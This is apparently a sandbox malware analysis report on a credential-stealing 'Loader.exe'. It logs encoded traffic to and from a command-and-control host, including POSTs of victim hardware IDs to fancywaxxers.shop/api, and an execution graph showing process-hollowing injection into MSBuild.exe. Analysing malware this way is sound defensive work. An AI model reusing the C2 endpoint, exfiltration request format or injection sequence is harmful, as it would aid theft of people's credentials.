2024-12-29 22:37:02 UTC	242	IN	Data Raw: 34 39 39 34 0d 0a 67 66 72 7a 39 4b 62 59 70 6f 75 4a 74 62 66 4d 2f 56 70 4c 35 72 70 5a 67 71 75 54 48 59 6f 71 58 52 36 32 79 4b 6f 36 56 75 37 36 32 49 58 57 6e 4f 79 4b 71 66 72 51 6c 66 61 4a 4b 44 36 44 6c 6e 76 6a 7a 37 45 6e 37 45 73 78 62 64 50 6b 69 45 77 37 7a 4c 75 63 6b 70 6a 56 76 59 71 70 37 4d 32 56 39 71 59 68 61 59 50 55 65 37 69 4a 39 6e 66 6f 53 7a 46 38 31 36 50 46 53 6a 71 4e 36 5a 61 55 6e 4d 4f 37 77 75 72 6c 32 4e 4b 70 6d 44 73 68 69 4e 4d 30 36 73 61 78 4d 61 68 50 4a 7a 79 4d 36 75 64 66 49 6f 2f 4d 6d 34 43 66 68 4b 57 4b 38 4b 76 51 32 65 37 48 65 43 71 44 32 44 58 6b 7a 2f 68 31 34 6b 49 35 66 64 4b 69 32 6c 4d 77 68 75 6d 59 6c 35 33 4a 73 74 62 6e 37 39 2f 5a 72 35 49 37 61 63 71 59 Data Ascii: 4994gfrz9KbYpouJtbfM/VpL5rpZgquTHYoqXR62yKo6Vu762IXWnOyKqfrQlfaJKD6Dlnvjz7En7EsxbdPkiEw7zLuckpjVvYqp7M2V9qYhaYPUe7iJ9nfoSzF816PFSjqN6ZaUnMO7wurl2NKpmDshiNM06saxMahPJzyM6udfIo/Mm4CfhKWK8KvQ2e7HeCqD2DXkz/h14kI5fdKi2lMwhumYl53Jstbn79/Zr5I7acqY
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 50 50 69 4a 71 54 2b 37 65 6a 78 74 78 62 2f 46 53 44 4c 4d 2f 4e 61 49 31 73 4f 32 68 4c 47 72 33 39 6d 67 6d 6a 73 6d 67 39 6b 37 38 73 62 78 66 4f 42 41 4f 33 62 62 70 63 64 57 50 6f 76 72 6b 5a 61 5a 77 37 4c 43 35 75 69 58 6d 2b 36 59 49 47 6e 63 6d 42 76 77 79 76 4a 72 35 56 6c 2f 59 35 71 7a 69 46 38 34 7a 4c 76 59 6c 35 6a 46 74 38 54 37 34 39 7a 65 71 34 30 7a 49 49 6e 56 4f 2b 33 44 2f 6e 7a 6f 54 7a 56 32 32 36 44 4d 56 54 6d 4b 34 35 6a 52 32 49 53 39 33 4b 6d 7a 6c 2f 61 72 6a 7a 38 6c 6b 70 6f 42 6f 4e 61 2f 5a 71 68 50 4d 7a 79 4d 36 73 42 64 4e 34 2f 6f 6c 35 4b 65 7a 36 6a 45 2b 2b 33 61 30 4c 79 5a 50 53 65 4f 32 79 6e 71 78 2f 64 38 34 55 4d 32 65 64 4f 75 69 42 5a 30 69 2f 76 59 79 64 62 6c 74 38 2f 6c 34 63 44 56 37 6f 42 32 4d 4d 54 Data Ascii: PPiJqT+7ejxtxb/FSDLM/NaI1sO2hLGr39mgmjsmg9k78sbxfOBAO3bbpcdWPovrkZaZw7LC5uiXm+6YIGncmBvwyvJr5Vl/Y5qziF84zLvYl5jFt8T749zeq40zIInVO+3D/nzoTzV226DMVTmK45jR2IS93Kmzl/arjz8lkpoBoNa/ZqhPMzyM6sBdN4/ol5Kez6jE++3a0LyZPSeO2ynqx/d84UM2edOuiBZ0i/vYydblt8/l4cDV7oB2MMT
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 2f 64 77 35 55 52 2f 4d 70 53 74 30 42 68 73 7a 4d 6d 62 68 5a 58 4f 2b 50 48 71 35 64 6e 53 75 4e 38 6e 5a 35 32 59 50 4f 79 4a 71 54 2f 6c 53 54 64 36 78 71 58 46 57 7a 71 43 37 4a 32 65 6e 73 53 36 79 65 7a 76 33 4e 36 74 6b 6a 77 37 6a 74 67 7a 35 63 6a 37 64 61 67 47 66 33 76 4d 36 70 41 59 42 5a 76 6f 32 71 53 56 79 72 54 44 2f 36 76 49 6d 37 66 66 50 79 58 45 67 48 76 74 77 66 52 36 35 30 6b 31 63 74 47 67 78 46 41 36 6a 2f 47 58 6c 5a 62 49 73 73 37 6b 35 64 50 64 70 35 51 7a 4c 34 54 5a 4d 61 43 48 73 58 6a 77 43 47 63 38 34 4b 33 45 56 54 76 4f 31 70 75 66 6d 4d 4f 73 68 50 61 6c 7a 70 57 70 6b 33 68 78 78 4e 51 79 34 4d 4c 37 65 2b 68 50 4d 6e 6e 58 72 63 74 56 4d 34 62 74 6e 35 57 61 7a 62 66 43 36 65 7a 54 30 4c 79 61 4d 53 57 49 6d 48 57 67 Data Ascii: /dw5UR/MpSt0BhszMmbhZXO+PHq5dnSuN8nZ52YPOyJqT/lSTd6xqXFWzqC7J2ensS6yezv3N6tkjw7jtgz5cj7dagGf3vM6pAYBZvo2qSVyrTD/6vIm7ffPyXEgHvtwfR650k1ctGgxFA6j/GXlZbIss7k5dPdp5QzL4TZMaCHsXjwCGc84K3EVTvO1pufmMOshPalzpWpk3hxxNQy4ML7e+hPMnnXrctVM4btn5WazbfC6ezT0LyaMSWImHWg
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 5a 52 66 33 76 59 36 70 41 59 50 59 58 78 6c 70 2b 66 79 62 7a 4d 37 75 58 61 33 71 69 55 50 79 36 43 31 54 50 74 7a 50 4a 2b 37 45 49 74 66 39 2b 67 78 56 4a 30 77 71 4f 66 69 64 61 63 2b 75 50 6c 77 73 66 4f 76 49 6c 34 4e 73 72 42 65 2b 66 46 73 53 65 6f 53 7a 42 31 32 36 4c 41 56 7a 75 49 37 5a 36 58 6d 38 47 31 7a 76 76 6a 32 64 69 6c 6b 44 4d 37 68 4e 55 2f 37 4d 33 35 64 4f 49 49 63 54 7a 54 73 6f 67 41 64 4c 6e 75 6c 35 47 56 30 76 72 62 70 2f 4b 58 30 71 4c 66 59 47 6d 49 31 6a 76 76 78 66 31 30 34 45 6b 7a 63 74 4f 76 77 56 41 38 6e 75 4b 63 6d 5a 66 4b 74 63 58 74 37 74 4c 52 71 5a 73 2b 4a 73 53 57 65 2b 66 52 73 53 65 6f 5a 78 68 4a 6c 6f 76 79 47 43 76 43 2b 74 69 57 6d 6f 54 69 68 4f 58 6f 32 39 32 68 6d 54 45 6c 6a 74 45 77 37 4d 4c 31 63 Data Ascii: ZRf3vY6pAYPYXxlp+fybzM7uXa3qiUPy6C1TPtzPJ+7EItf9+gxVJ0wqOfidac+uPlwsfOvIl4NsrBe+fFsSeoSzB126LAVzuI7Z6Xm8G1zvvj2dilkDM7hNU/7M35dOIIcTzTsogAdLnul5GV0vrbp/KX0qLfYGmI1jvvxf104EkzctOvwVA8nuKcmZfKtcXt7tLRqZs+JsSWe+fRsSeoZxhJlovyGCvC+tiWmoTihOXo292hmTEljtEw7ML1c
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 7a 31 61 76 4f 53 6a 4f 46 38 5a 61 63 6d 63 79 79 7a 65 6a 76 30 74 69 6f 6b 7a 49 6f 67 39 59 31 36 49 6d 2f 50 2b 39 51 66 79 53 55 69 39 68 44 4a 70 72 75 75 5a 79 5a 68 4b 57 4b 38 4b 76 51 32 65 37 48 65 43 43 57 33 44 62 79 77 50 5a 78 35 30 73 74 66 64 6d 68 32 6c 38 37 69 4f 53 55 6c 35 6e 43 75 38 48 6a 35 39 44 51 70 5a 41 30 61 63 71 59 50 50 69 4a 71 54 2f 47 51 79 78 72 31 36 54 44 54 69 2f 4d 2f 4e 61 49 31 73 4f 32 68 4c 47 72 31 4e 36 6c 6d 7a 67 6c 68 4e 77 32 34 4e 76 2b 65 4f 39 42 4e 47 37 65 72 63 39 54 50 49 66 73 6e 6f 4f 61 79 71 6a 42 2b 2f 6d 58 6d 2b 36 59 49 47 6e 63 6d 41 33 6e 32 65 46 38 71 6e 6b 70 66 38 4b 68 78 56 52 30 6b 36 32 42 30 5a 48 49 2b 70 79 70 37 64 6a 63 72 5a 41 35 49 49 6a 56 50 75 6e 4d 38 48 6e 73 51 6a Data Ascii: z1avOSjOF8Zacmcyyzejv0tiokzIog9Y16Im/P+9QfySUi9hDJpruuZyZhKWK8KvQ2e7HeCCW3DbywPZx50stfdmh2l87iOSUl5nCu8Hj59DQpZA0acqYPPiJqT/GQyxr16TDTi/M/NaI1sO2hLGr1N6lmzglhNw24Nv+eO9BNG7erc9TPIfsnoOayqjB+/mXm+6YIGncmA3n2eF8qnkpf8KhxVR0k62B0ZHI+pyp7djcrZA5IIjVPunM8HnsQj
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 69 45 64 36 6c 61 4f 66 6e 64 61 63 2b 73 66 75 36 4e 62 66 70 35 4d 33 4c 6f 44 4b 4d 65 66 62 38 48 37 6a 52 54 4e 38 32 61 66 43 57 54 32 42 37 35 57 57 6b 63 75 2f 68 4b 65 72 30 4d 33 75 78 33 67 49 69 64 4d 33 75 35 4f 78 59 4b 5a 52 66 33 76 59 36 70 41 59 4e 49 62 6d 6b 70 79 56 79 37 6e 57 36 4f 33 46 31 61 4f 56 4b 69 4f 50 33 54 62 74 78 50 4a 35 37 6b 4d 7a 62 74 32 71 79 31 4e 30 77 71 4f 66 69 64 61 63 2b 75 66 2b 2f 64 33 53 6f 6f 6b 7a 4b 49 66 4f 4e 76 43 4a 76 7a 2f 35 54 79 34 38 6a 4c 7a 59 54 7a 4f 54 72 59 48 52 6b 63 6a 36 6e 4b 6e 74 33 74 4f 70 6d 54 59 37 67 64 34 30 37 38 44 34 65 2b 42 4c 50 33 6a 51 72 63 31 62 4f 49 66 6b 6d 35 36 53 7a 62 54 4e 35 71 75 5a 6c 61 6d 48 65 48 48 45 2b 53 44 6a 78 66 77 2f 39 77 59 6d 50 4e 4f Data Ascii: iEd6laOfndac+sfu6Nbfp5M3LoDKMefb8H7jRTN82afCWT2B75WWkcu/hKer0M3ux3gIidM3u5OxYKZRf3vY6pAYNIbmkpyVy7nW6O3F1aOVKiOP3TbtxPJ57kMzbt2qy1N0wqOfidac+uf+/d3SookzKIfONvCJvz/5Ty48jLzYTzOTrYHRkcj6nKnt3tOpmTY7gd4078D4e+BLP3jQrc1bOIfkm56SzbTN5quZlamHeHHE+SDjxfw/9wYmPNO
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 4d 79 37 32 4c 47 64 30 72 2f 44 2f 36 6e 69 31 71 43 52 50 7a 2f 45 78 77 53 75 69 66 35 6c 71 42 41 47 5a 5a 53 74 78 42 68 73 7a 50 61 66 6b 5a 48 65 72 4d 50 6c 2b 74 7a 59 6f 72 30 33 4c 70 4c 62 4e 4f 50 59 2b 44 50 6a 52 58 38 79 6c 4b 33 51 47 47 7a 4d 7a 4a 2b 48 6c 65 75 35 31 65 43 72 6d 5a 57 70 69 58 68 78 78 4f 5a 37 38 73 72 68 66 4f 64 5a 41 54 79 4d 73 2f 59 59 50 35 72 6b 69 4a 4b 41 7a 37 66 49 2b 4e 57 58 6a 66 72 4e 61 6e 76 57 69 69 53 67 31 73 34 78 71 45 6c 2f 4a 4f 32 7a 69 45 35 30 31 4c 48 57 30 59 53 45 34 6f 53 75 36 4d 58 48 71 4a 77 75 4b 73 50 6d 42 63 66 66 2b 33 6a 34 54 79 68 7a 6c 4f 53 49 56 33 54 55 32 74 69 59 6b 64 2b 72 30 75 54 37 30 4a 57 52 30 58 67 78 78 49 42 37 31 63 72 2f 63 65 39 65 4c 6a 48 7a 76 4d 4a 66 Data Ascii: My72LGd0r/D/6ni1qCRPz/ExwSuif5lqBAGZZStxBhszPafkZHerMPl+tzYor03LpLbNOPY+DPjRX8ylK3QGGzMzJ+Hleu51eCrmZWpiXhxxOZ78srhfOdZATyMs/YYP5rkiJKAz7fI+NWXjfrNanvWiiSg1s4xqEl/JO2ziE501LHW0YSE4oSu6MXHqJwuKsPmBcff+3j4TyhzlOSIV3TU2tiYkd+r0uT70JWR0XgxxIB71cr/ce9eLjHzvMJf
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 54 52 32 49 53 76 7a 2b 58 74 32 73 44 68 6a 69 34 71 6b 74 39 33 36 4e 6a 38 63 36 68 33 63 54 7a 4d 36 70 41 59 41 59 2f 74 6c 70 61 41 31 66 66 6b 34 75 66 55 32 61 2b 59 65 47 66 45 33 6e 75 34 6d 72 38 2f 37 46 6c 2f 4a 49 54 34 6b 77 31 6e 32 37 50 4b 6a 74 6a 64 2b 74 4b 70 73 34 57 62 37 6f 31 34 63 63 53 66 4f 50 4c 62 39 33 7a 2b 53 33 68 43 36 71 76 46 56 33 69 43 36 4a 69 57 68 74 4b 68 69 4f 48 6f 7a 63 2b 51 6f 52 4d 6c 67 74 38 68 35 38 2f 58 58 36 67 47 66 33 4f 55 38 76 45 59 66 4d 7a 63 31 74 47 4f 68 4f 4b 45 33 4f 6a 5a 32 36 6d 4a 4b 57 53 73 2b 77 48 61 69 39 31 34 2f 51 6f 4c 65 38 53 37 77 31 55 34 7a 4b 33 59 6c 39 61 63 36 6f 71 70 37 38 61 56 39 73 39 71 63 74 47 4c 62 4c 43 62 37 6a 48 78 43 43 6b 38 6a 50 69 47 47 43 62 4d 75 Data Ascii: TR2ISvz+Xt2sDhji4qkt936Nj8c6h3cTzM6pAYAY/tlpaA1ffk4ufU2a+YeGfE3nu4mr8/7Fl/JIT4kw1n27PKjtjd+tKps4Wb7o14ccSfOPLb93z+S3hC6qvFV3iC6JiWhtKhiOHozc+QoRMlgt8h58/XX6gGf3OU8vEYfMzc1tGOhOKE3OjZ26mJKWSs+wHai914/QoLe8S7w1U4zK3Yl9ac6oqp78aV9s9qctGLbLCb7jHxCCk8jPiGGCbMu
2024-12-29 22:37:02 UTC	1369	IN	Data Raw: 63 36 59 71 70 2b 5a 65 4e 37 74 67 32 4a 49 58 62 4e 65 50 62 34 33 6e 72 58 6a 77 37 36 70 54 74 56 54 6d 4a 37 5a 2b 76 71 4f 57 77 31 4f 54 6b 30 4a 65 4f 6d 43 34 71 75 75 59 4d 38 63 37 68 50 63 35 4c 4b 58 2b 55 35 49 68 41 64 4e 53 6a 75 5a 75 47 79 62 58 44 71 38 76 51 77 36 33 66 64 6d 6d 41 6d 47 4f 67 37 50 78 79 37 55 59 34 50 76 57 67 32 46 55 37 69 36 47 34 6c 6f 44 48 2b 6f 71 70 35 35 65 4e 37 70 34 79 4f 59 6e 58 50 4b 7a 4f 36 33 69 6f 42 6e 39 79 6c 50 4b 49 57 54 36 63 37 70 65 57 32 73 4b 30 79 71 6e 30 6d 63 7a 75 69 58 68 78 31 35 5a 37 38 6f 6d 70 50 36 39 4c 4c 57 37 53 71 64 35 62 63 37 4c 64 74 59 4f 52 31 4c 6d 47 32 4f 62 54 77 37 75 63 4b 43 36 36 35 68 62 79 7a 75 46 38 71 6e 6b 70 66 39 53 6b 7a 78 68 36 7a 50 76 59 79 64 Data Ascii: c6Yqp+ZeN7tg2JIXbNePb43nrXjw76pTtVTmJ7Z+vqOWw1OTk0JeOmC4quuYM8c7hPc5LKX+U5IhAdNSjuZuGybXDq8vQw63fdmmAmGOg7Pxy7UY4PvWg2FU7i6G4loDH+oqp55eN7p4yOYnXPKzO63ioBn9ylPKIWT6c7peW2sK0yqn0mczuiXhx15Z78ompP69LLW7Sqd5bc7LdtYOR1LmG2ObTw7ucKC665hbyzuF8qnkpf9Skzxh6zPvYyd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50011	104.21.80.1	443	7888	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:04 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7NHRP02K4MX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: fancywaxxers.shop
2024-12-29 22:37:04 UTC	15331	OUT	Data Raw: 2d 2d 37 4e 48 52 50 30 32 4b 34 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 42 35 42 42 30 42 41 31 45 46 33 35 43 42 33 33 32 32 32 32 31 43 39 32 41 42 31 31 30 43 0d 0a 2d 2d 37 4e 48 52 50 30 32 4b 34 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 4e 48 52 50 30 32 4b 34 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 73 74 74 0d 0a 2d 2d 37 4e 48 52 50 30 32 4b 34 4d 58 Data Ascii: --7NHRP02K4MXContent-Disposition: form-data; name="hwid"27B5BB0BA1EF35CB3322221C92AB110C--7NHRP02K4MXContent-Disposition: form-data; name="pid"2--7NHRP02K4MXContent-Disposition: form-data; name="lid"BVnUqo--@youngesstt--7NHRP02K4MX
2024-12-29 22:37:04 UTC	2796	OUT	Data Raw: bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d Data Ascii: 'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwm
2024-12-29 22:37:05 UTC	1133	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l6d65tpcd6i90ca5epqj6fhmj7; expires=Thu, 24 Apr 2025 16:23:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UUJ%2FxEAkDh7yjNck5KHrc4pr8ny2fZef2a4Z31x6GQA0TnPJgRqKvsyoAgZr2HPKVeH43ib58Mlen0U5tGks84hKaG0jvxqZoAbguBiTK19Yl%2BeGhelLi6UqL4%2BXMbMt5xSn9g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45c7aaa30f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1479&min_rtt=1473&rtt_var=565&sent=18&recv=24&lost=0&retrans=0&sent_bytes=2842&recv_bytes=19083&delivery_rate=1914754&cwnd=231&unsent_bytes=0&cid=38d405252bfb46ed&ts=976&x=0"
2024-12-29 22:37:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:37:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50012	104.21.80.1	443	7888	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 22:37:05 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VTH0YMONO0BECKZEL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8784 Host: fancywaxxers.shop
2024-12-29 22:37:05 UTC	8784	OUT	Data Raw: 2d 2d 56 54 48 30 59 4d 4f 4e 4f 30 42 45 43 4b 5a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 37 42 35 42 42 30 42 41 31 45 46 33 35 43 42 33 33 32 32 32 32 31 43 39 32 41 42 31 31 30 43 0d 0a 2d 2d 56 54 48 30 59 4d 4f 4e 4f 30 42 45 43 4b 5a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 54 48 30 59 4d 4f 4e 4f 30 42 45 43 4b 5a 45 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 79 6f 75 6e 67 65 73 Data Ascii: --VTH0YMONO0BECKZELContent-Disposition: form-data; name="hwid"27B5BB0BA1EF35CB3322221C92AB110C--VTH0YMONO0BECKZELContent-Disposition: form-data; name="pid"2--VTH0YMONO0BECKZELContent-Disposition: form-data; name="lid"BVnUqo--@younges
2024-12-29 22:37:06 UTC	1139	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 22:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b54vqstp7mu8h8liuoj6e4qci8; expires=Thu, 24 Apr 2025 16:23:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9C3o8xnsMhS0w8%2BM98XmzEma%2FLW4oZRpqXq%2BPSZQKiLpchSJpUdc6xn7lwhmTMIY8aO4%2BR2qzmMZNuaNNg5oZQf19AbKlCxN5z%2Fd2yLFS8PQsy6Q9Ls%2B8f6SuoCy%2BzfIf5lKow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9d45ceefdd42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1568&min_rtt=1544&rtt_var=627&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9723&delivery_rate=1680092&cwnd=229&unsent_bytes=0&cid=a294a90f7c753b6f&ts=458&x=0"
2024-12-29 22:37:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-29 22:37:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:33:58
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x2a0000
File size:	913'448 bytes
MD5 hash:	005896360BE304A48E43D98BDA83E12A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	17:33:58
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:36:59
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x2a0000
File size:	913'448 bytes
MD5 hash:	005896360BE304A48E43D98BDA83E12A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.3527107091.0000000003235000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	17:37:00
Start date:	29/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 136
Imagebase:	0x760000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	1.2%
Signature Coverage:	1.9%
Total number of Nodes:	670
Total number of Limit Nodes:	13

Executed Functions

Function 002E519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,002E5110,002E5100), ref: 002E5334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 002E5347
Wow64GetThreadContext.KERNEL32(0000010C,00000000), ref: 002E5365
ReadProcessMemory.KERNELBASE(00000110,?,002E5154,00000004,00000000), ref: 002E5389
VirtualAllocEx.KERNELBASE(00000110,?,?,00003000,00000040), ref: 002E53B4
WriteProcessMemory.KERNELBASE(00000110,00000000,?,?,00000000,?), ref: 002E540C
WriteProcessMemory.KERNELBASE(00000110,00400000,?,?,00000000,?,00000028), ref: 002E5457
WriteProcessMemory.KERNELBASE(00000110,?,?,00000004,00000000), ref: 002E5495
Wow64SetThreadContext.KERNEL32(0000010C,02970000), ref: 002E54D1
ResumeThread.KERNELBASE(0000010C), ref: 002E54E0

Strings

CreateProcessW, xrefs: 002E5250
ReadProcessMemory, xrefs: 002E5289
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 002E5333
ress, xrefs: 002E5226
SetThreadContext, xrefs: 002E52C2
ResumeThread, xrefs: 002E52D8
VirtualAlloc, xrefs: 002E5263
GetP, xrefs: 002E521E
aryA, xrefs: 002E51E2
Load, xrefs: 002E51DA
TerminateProcess, xrefs: 002E53C3
WriteProcessMemory, xrefs: 002E52AF
VirtualAllocEx, xrefs: 002E529C
GetThreadContext, xrefs: 002E5276

Memory Dump Source

Source File: 00000000.00000002.3526484600.00000000002E5000.00000040.00000001.01000000.00000003.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000000.00000002.3526310768.00000000002A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526354376.00000000002A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526419418.00000000002D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526519722.00000000002E6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526556477.00000000002EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3526602591.00000000002EE000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2a0000_Loader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: ef8996d9474a367b166b3b7441295f4094ce50b3ef222ada984296de7a71d71b
